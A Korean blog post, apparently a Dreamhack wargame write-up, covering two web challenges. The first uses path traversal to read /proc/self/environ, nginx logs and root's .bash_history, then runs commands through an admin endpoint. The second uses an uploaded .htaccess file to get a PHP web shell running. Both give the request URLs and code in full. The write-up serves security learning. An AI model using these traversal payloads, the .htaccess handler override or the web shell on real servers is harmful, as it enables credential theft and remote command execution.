본문 바로가기
프로그래밍/해킹

File Vulnerability Advanced for linux & Apache htaccess

by 만디기 2024. 7. 20.

1. File Vulnerability Advanced for linux

- 문제 : https://dreamhack.io/wargame/challenges/417

 

1) 분석

- dockerfile : nginx 서버를 사용한다.

- main.py : 

(1) /file 엔드포인트는 GET 메소드로 전달된 path 파라미터를 통해 ./files/ 경로로부터 파일을 읽어오는 역할을 하며, 이 때 path 파라미터에 대한 별도의 필터링이 존재하지 않아 Path Traversal 취약점이 발생하고, 임의 경로의 파일을 다운로드 할 수 있다.

(예시 : path 파라미터에 ../../../../../../etc/passwd 를 입력하면 해당 파일을 볼 수 있다. 여기서 앞의 "../" 수는 적당히 /(루트) 경로까지 올라갈 수 있을 정도로 지정한다.)

(2) /admin 엔드포인트는 GET 메소드로 전달된 cmd 파라미터를 통해 시스템 명령어를 실행한다. 대신 @key_required 데코레이터로 인해 API_KEY를 알고있는 이용자만이 사용할 수 있는 엔드포인트이다.

 

2) 익스플로잇

(1) 파일 다운로드 취약점을 이용한 API_Key 획득

- main.py의 내용을 통해, API_KEY는 /proc/self/environ 파일에 있음을 알 수 있다.

URL => http://(서버 주소)/file?path=../../../../../../proc/self/environ

 

- API_KEY는 GET 메소드의 파라미터로 전달되기 때문에 nginx 로그 파일에 내용이 남아있을 가능성이 높다. 따라서 /var/log/nginx/nginx_access.log 파일을 확인해 볼 필요가 있다.

URL => http://(서버 주소)/file?path=../../../../../../var/log/nginx/nginx_access.log

 

- 사용자가 셸에서 사용한 명령어를 통해서 유의미한 정보를 파악할 수 있기 때문에 .bash_history 파일 또한 체크해야 한다.

URL => http://(서버 주소)/file?path=../../../../../../root/.bash_history

 

▶ 해당 파일들의 역할에 대해서는 https://learn.dreamhack.io/282

 

 

(2) 획득한 API_KEY를 이용해 임의 명령어 실행

1. flag 파일 위치 알아내기
http://(서버 주소)/admin?API_KEY=(획득 API)&cmd=ls%20-l%20/

2. flag 파일은 실행 파일이므로, 다음 요청으로 파일 실행하여 flag 획득
http://(서버 주소)/admin?API_KEY=(획득 API)&cmd=/flag

 

 

2. Apache htaccess

- 문제 : https://dreamhack.io/wargame/challenges/418

 

1) 분석

- dockerfile : Apache 서버를 사용한다.

- upload.php : 

(1) 업로드하는 파일의 확장자에 .php 관련 내용이 들어가면 요청을 거부한다. 하지만 .htaccess 파일을 통해 웹 셸 업로드가 가능하다.

▶ .htaccess는 hypertext access의 약자로, Apache 웹 서버의 디렉토리를 설정하는 기본 파일이다. 

보통 웹사이트 root 디렉토리에 위치하며, 특정 디렉토리에 위치할 경우 해당 디렉토리 및 모든 하위 디렉토리에 설정에 대한 영향을 행사한다. .htaccess 파일을 사용하면 웹 서버 설정을 개별적으로 지정할 수 있기 때문에 공격자가 업로드할 수 있다면 웹 서버 설정을 건드릴 수 있는 위험한 취약점이다.

 

2) 익스플로잇

(1) 다음과 같이 .htaccess 파일을 만들고 업로드한다. 그러면 /upload 경로 밑에 .htaccess 파일이 위치하게 된다.

1. 특정 파일에 대해, php로 실행하도록 설정함.
<Files "webshell-dreamhack.jpg">
    # php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
    SetHandler "proxy:unix:/run/php-fpm/www.sock|fcgi://localhost"
    # Apache2 자체 mod_php를 사용하는 경우
    SetHandler application/x-httpd-php
</Files>


2. 특정 확장자에 대해, php로 실행하도록 설정함.
AddType application/x-httpd-php .test

 

(2) .htaccess 파일에 맞춰 웹 셸을 만들고 업로드한다.

맥북 finder에서 숨겨진 파일을 보려면 Command + Shift + . 을 하면 된다.

//webshell.test
<?php
	echo('hello');
	system($_GET['cmd']);
?>

 

(3) 웹 셸을 통해 명령어를 실행하여 flag 획득

'프로그래밍 > 해킹' 카테고리의 다른 글

XSS Filtering Bypass 실습 문제  (0) 2024.07.22
XSS Filtering Bypass  (0) 2024.07.20
Command Injection Advanced 실습 문제  (0) 2024.07.17
ExploitTech: Command Injection Vulnerability cases  (0) 2024.07.16
시스템 해킹 - 셸코드  (0) 2024.07.10